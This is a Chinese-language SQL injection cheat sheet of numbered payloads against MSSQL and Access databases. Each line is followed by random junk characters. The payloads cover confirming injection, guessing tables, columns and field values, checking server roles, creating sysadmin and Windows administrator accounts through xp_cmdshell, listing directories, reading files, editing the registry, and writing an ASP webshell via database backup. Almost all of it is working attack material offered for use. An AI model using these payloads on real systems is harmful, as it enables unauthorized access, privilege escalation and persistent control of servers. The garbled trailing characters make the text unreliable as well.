1.判断是否有注入;and 1=1 ;and 1=2 ?# G_&
2.初步判断是否是mssql ;and user>0 )XO2DY1/&
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3.注入参数是字符'and [查询条件] and ''=' SZwfYY!ft0
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' kP;Rts8JD
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5.判断数据库系统 yobi$mnsy!
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;and (select count(*) from sysobjects)>0 mssql \-sDRW
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;and (select count(*) from msysobjects)>0 access vkR"A\:
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 bt
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 uNx3us-
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 @ObsW!g
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9.(1)猜字段的ascii值(access) Tp0Tce/
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 f'%}{l: ss
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(2)猜字段的ascii值(mssql) a>Q7Qn
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 +5T0]!
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10.测试权限结构(mssql) oHa6fi
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- N:&Gv'`
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- isDr|g$S
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *J%+zH
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- vwT?Bp
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- gWJLWL2
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,D#~%kq~
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;and 1=(select IS_MEMBER('db_owner'));-- p- Q1abl
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11.添加mssql和系统的帐户 ;%Z)$+Z_)<
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;exec master.dbo.sp_addlogin username;-- h],_1!0
;exec master.dbo.sp_password null,username,password;-- G:A`
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2.2 s>?\
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;exec master.dbo.xp_cmdshell 'net user username password ^#_@Kq%th
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- i5:fn@&
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ! 5 ]/2
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E?%rmdyhL!
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12.(1)遍历目录 *n}{)Ef
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;create table dirs(paths varchar(100), id int) y/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' f`vB$r>
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;and (select top 1 paths from dirs)>0 7)<&,BWc
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) wR\%tumk
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(2)遍历目录 iCa#OQ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8,=,'gFO
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 AvH^9zEE(
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 tVFl`Xr
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 PA&Ev0`+
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 g-Vxl|hR
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13.mssql中的存储过程 #;z;8q
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xp_regenumvalues 注册表根键, 子键 X0.k Q
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 "A6m-xE~
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xp_regread 根键,子键,键值名 Uc^e Ia@
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;exec xp_regread x8
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;G.5.q[A
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xp_regwrite 根键,子键, 值名, 值类型, 值 [MhKR }a
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~t^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 hK+6S3-Ez
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xp_regdeletevalue 根键,子键,值名 !mHMFwvS
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0xVw{k}1U
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /s*.:cdH
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14.mssql的backup创建webshell Rjp7H
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use model *:bexD H
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create table cmd(str image); plL|Ubn
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insert into cmd(str) values (''); 6_,JW{#"
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backup database model to disk='c:\l.asp'; =PU($
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15.mssql内置函数 2ah%,o
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;and (select @@version)>0 获得Windows的版本号 SQ_Je+X
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa h PL]B_<
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;and (select user_name())>0 爆当前系统的连接用户 5r`rstV
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;and (select db_name())>0 得到当前连接的数据库 h2 KI
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16.简洁的webshell Y=p!xr>
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use model ^|H={pd'c0
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create table cmd(str image); V\o7KF
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insert into cmd(str) values (''); |~r-VV(=
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backup database model to disk='g:\wwwtest\l.asp';